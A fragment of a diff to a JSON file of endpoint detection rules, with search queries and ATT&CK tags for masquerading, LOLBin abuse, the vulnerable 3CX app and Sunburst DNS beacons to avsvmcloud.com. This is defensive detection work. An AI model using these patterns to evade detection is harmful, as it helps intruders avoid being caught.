] - } - ], - "message": "An instance $process_name$ was identified on endpoint $dest$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1195.002", - "mitre_attack_technique": "Compromise Software Supply Chain", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT41", - "Cobalt Group", - "Dragonfly", - "FIN7", - "GOLD SOUTHFIELD", - "Sandworm Team", - "Threat Group-3390" - ] - } - ] - } - }, - { - "name": "Windows Vulnerable 3CX Software", - "description": "The following analytic detects instances of the 3CXDesktopApp.exe with a FileVersion of 18.12.x, leveraging Sysmon logs. This detection focuses on identifying vulnerable versions 18.12.407 and 18.12.416 of the 3CX desktop app. Monitoring this activity is crucial as these specific versions have known vulnerabilities that could be exploited by attackers. If confirmed malicious, exploitation of this vulnerability could lead to unauthorized access, code execution, or further compromise of the affected system, posing significant security risks.", - "search": "`sysmon` (process_name=3CXDesktopApp.exe OR OriginalFileName=3CXDesktopApp.exe) FileVersion=18.12.* | stats count min(_time) as firstTime max(_time) as lastTime by dest, parent_process_name,process_name, OriginalFileName, CommandLine | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_vulnerable_3cx_software_filter`", - "tags": { - "analytic_story": [ - "3CX Supply Chain Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A known vulnerable instance of 3CX Software $process_name$ ran on $dest$, related to a supply chain attack.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1195.002", - "mitre_attack_technique": "Compromise Software Supply Chain", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT41", - "Cobalt Group", - "Dragonfly", - "FIN7", - "GOLD SOUTHFIELD", - "Sandworm Team", - "Threat Group-3390" - ] - } - ] - } } ], "external_reference": [], @@ -591270,965 +393172,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Execution of File With Spaces Before Extension", - "description": "This search looks for processes launched from files with at least five spaces in the name before the extension. This is typically done to obfuscate the file extension by pushing it outside of the default view.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_path) as process_path min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"* .*\" by Processes.dest Processes.user Processes.process Processes.process_name | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | `execution_of_file_with_spaces_before_extension_filter`", - "tags": { - "analytic_story": [ - "Masquerading - Rename System Utilities", - "Windows File Extension and Association Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious Rundll32 Rename", - "description": "The following hunting analytic identifies renamed instances of rundll32.exe executing. rundll32.exe is natively found in C:\\Windows\\system32 and C:\\Windows\\syswow64. During investigation, validate it is the legitimate rundll32.exe executing and what script content it is loading. This query relies on the original filename or internal name from the PE meta data. Expand the query as needed by looking for specific command line arguments outlined in other analytics.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.original_file_name=RUNDLL32.exe AND Processes.process_name!=rundll32.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_rundll32_rename_filter`", - "tags": { - "analytic_story": [ - "Masquerading - Rename System Utilities", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "User", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious renamed rundll32.exe binary ran on $dest$ by $user$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "Execution of File with Multiple Extensions", - "description": "The following analytic detects the execution of files with multiple extensions, such as \".doc.exe\" or \".pdf.exe\". This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the file name contains double extensions. This activity is significant because attackers often use double extensions to disguise malicious executables as benign documents, increasing the likelihood of user execution. If confirmed malicious, this technique can lead to unauthorized code execution, potentially compromising the endpoint and allowing further malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"*.doc.exe\", \"*.xls.exe\",\"*.ppt.exe\", \"*.htm.exe\", \"*.html.exe\", \"*.txt.exe\", \"*.pdf.exe\", \"*.docx.exe\", \"*.xlsx.exe\", \"*.pptx.exe\",\"*.one.exe\", \"*.bat.exe\", \"*rtf.exe\") by Processes.dest Processes.user Processes.process Processes.process_name Processes.parent_process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | `execution_of_file_with_multiple_extensions_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "DarkGate Malware", - "Masquerading - Rename System Utilities", - "Windows File Extension and Association Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Parent Process", - "Attacker" - ] - } - ], - "message": "process $process$ have double extensions in the file name is executed on $dest$ by $user$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious Copy on System32", - "description": "The following analytic detects suspicious file copy operations from the System32 or SysWow64 directories, often indicative of malicious activity. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes initiated by command-line tools like cmd.exe or PowerShell. This behavior is significant as it may indicate an attempt to execute malicious code using legitimate system tools (LOLBIN). If confirmed malicious, this activity could allow an attacker to execute arbitrary code, potentially leading to system compromise or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN(\"cmd.exe\", \"powershell*\",\"pwsh.exe\", \"sqlps.exe\", \"sqltoolsps.exe\", \"powershell_ise.exe\") AND `process_copy` AND Processes.process IN(\"*\\\\Windows\\\\System32\\\\*\", \"*\\\\Windows\\\\SysWow64\\\\*\") AND Processes.process = \"*copy*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id temp | `drop_dm_object_name(Processes)` | eval splitted_commandline=split(process,\" \") | eval first_cmdline=lower(mvindex(splitted_commandline,0)) | where NOT LIKE(first_cmdline,\"%\\\\windows\\\\system32\\\\%\") AND NOT LIKE(first_cmdline,\"%\\\\windows\\\\syswow64\\\\%\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` |`suspicious_copy_on_system32_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "IcedID", - "Qakbot", - "Sandworm Tools", - "Unusual Processes", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Execution of copy exe to copy file from $process$ in $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious microsoft workflow compiler rename", - "description": "The following analytic detects the renaming of microsoft.workflow.compiler.exe, a rarely used executable typically located in C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319. This detection leverages Endpoint Detection and Response (EDR) data, focusing on process names and original file names. This activity is significant because renaming this executable can indicate an attempt to evade security controls. If confirmed malicious, an attacker could use this renamed executable to execute arbitrary code, potentially leading to privilege escalation or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name!=microsoft.workflow.compiler.exe AND Processes.original_file_name=Microsoft.Workflow.Compiler.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_microsoft_workflow_compiler_rename_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Trusted Developer Utilities Proxy Execution" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious renamed microsoft.workflow.compiler.exe binary ran on $dest$ by $user$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious msbuild path", - "description": "The following analytic detects the execution of msbuild.exe from a non-standard path. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that deviate from typical msbuild.exe locations. This activity is significant because msbuild.exe is commonly abused by attackers to execute malicious code, and running it from an unusual path can indicate an attempt to evade detection. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise and further malicious activities.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_msbuild` AND (Processes.process_path!=*\\\\framework*\\\\v*\\\\*) by Processes.dest Processes.original_file_name Processes.parent_process Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `suspicious_msbuild_path_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Msbuild.exe ran from an uncommon path on $dest$ execyted by $user$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious MSBuild Rename", - "description": "The following analytic detects the execution of renamed instances of msbuild.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names within the Endpoint data model. This activity is significant because msbuild.exe is a legitimate tool often abused by attackers to execute malicious code while evading detection. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name!=msbuild.exe AND Processes.original_file_name=MSBuild.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_msbuild_rename_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious renamed msbuild.exe binary ran on $dest$ by $user$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "System Processes Run From Unexpected Locations", - "description": "The following analytic identifies system processes running from unexpected locations outside `C:\\Windows\\System32\\` or `C:\\Windows\\SysWOW64`. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process paths, names, and hashes. This activity is significant as it may indicate a malicious process attempting to masquerade as a legitimate system process. If confirmed malicious, this behavior could allow an attacker to execute code, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.process_path !=\"C:\\\\Windows\\\\System32*\" Processes.process_path !=\"C:\\\\Windows\\\\SysWOW64*\" by Processes.dest Processes.user Processes.parent_process Processes.process_path Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_hash | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `is_windows_system_file_macro` | `system_processes_run_from_unexpected_locations_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware", - "Masquerading - Rename System Utilities", - "Qakbot", - "Ransomware", - "Suspicious Command-Line Executions", - "Unusual Processes", - "Windows Error Reporting Service Elevation of Privilege Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "A System process $process_name$ is running from $process_path$ on $dest$, potentially non-standard.", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows DotNet Binary in Non Standard Path", - "description": "The following analytic detects the execution of native .NET binaries from non-standard directories within the Windows operating system. It leverages Endpoint Detection and Response (EDR) telemetry, comparing process names and original file names against a predefined lookup using the `is_net_windows_file_macro` macro. This activity is significant because adversaries may move .NET binaries to unconventional paths to evade detection and execute malicious code. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where NOT (Processes.process_path IN (\"*\\\\Windows\\\\ADWS\\\\*\",\"*\\\\Windows\\\\SysWOW64*\", \"*\\\\Windows\\\\system32*\", \"*\\\\Windows\\\\NetworkController\\\\*\", \"*\\\\Windows\\\\SystemApps\\\\*\", \"*\\\\WinSxS\\\\*\", \"*\\\\Windows\\\\Microsoft.NET\\\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_path Processes.process_id Processes.parent_process_id | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `is_net_windows_file_macro` | `windows_dotnet_binary_in_non_standard_path_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Masquerading - Rename System Utilities", - "Ransomware", - "Signed Binary Proxy Execution InstallUtil", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ from a non-standard path was identified on endpoint $dest$ by user $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows InstallUtil in Non Standard Path", - "description": "The following analytic detects the execution of InstallUtil.exe from non-standard paths. It leverages Endpoint Detection and Response (EDR) data, focusing on process names and original file names outside typical directories. This activity is significant because InstallUtil.exe is often used by attackers to execute malicious code or scripts. If confirmed malicious, this behavior could allow an attacker to bypass security controls, execute arbitrary code, and potentially gain unauthorized access or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where `process_installutil` NOT (Processes.process_path IN (\"*\\\\Windows\\\\ADWS\\\\*\",\"*\\\\Windows\\\\SysWOW64*\", \"*\\\\Windows\\\\system32*\", \"*\\\\Windows\\\\NetworkController\\\\*\", \"*\\\\Windows\\\\SystemApps\\\\*\", \"*\\\\WinSxS\\\\*\", \"*\\\\Windows\\\\Microsoft.NET\\\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id Processes.process_hash | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_installutil_in_non_standard_path_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Ransomware", - "Signed Binary Proxy Execution InstallUtil", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ from a non-standard path was identified on endpoint $dest$ by user $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - } - ] - } } ], "external_reference": [ @@ -594529,250 +395472,7 @@ "Event ID": null, "Event Name": "System calls" } - ], - { - "name": "Sunburst Correlation DLL and Network Event", - "description": "The following analytic identifies the loading of the malicious SolarWinds.Orion.Core.BusinessLayer.dll by SolarWinds.BusinessLayerHost.exe and subsequent DNS queries to avsvmcloud.com. It uses Sysmon Event ID 7 for DLL loading and Event ID 22 for DNS queries, correlating these events within a 12-14 day period. This activity is significant as it indicates potential Sunburst malware infection, a known supply chain attack. If confirmed malicious, this could lead to unauthorized network access, data exfiltration, and further compromise of the affected systems.", - "search": "(`sysmon` EventCode=7 ImageLoaded=*SolarWinds.Orion.Core.BusinessLayer.dll) OR (`sysmon` EventCode=22 QueryName=*avsvmcloud.com) | eventstats dc(EventCode) AS dc_events | where dc_events=2 | stats min(_time) as firstTime max(_time) as lastTime values(ImageLoaded) AS ImageLoaded values(QueryName) AS QueryName by host | rename host as dest | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `sunburst_correlation_dll_and_network_event_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1203", - "mitre_attack_technique": "Exploitation for Client Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT12", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT41", - "Andariel", - "Aoqin Dragon", - "Axiom", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - 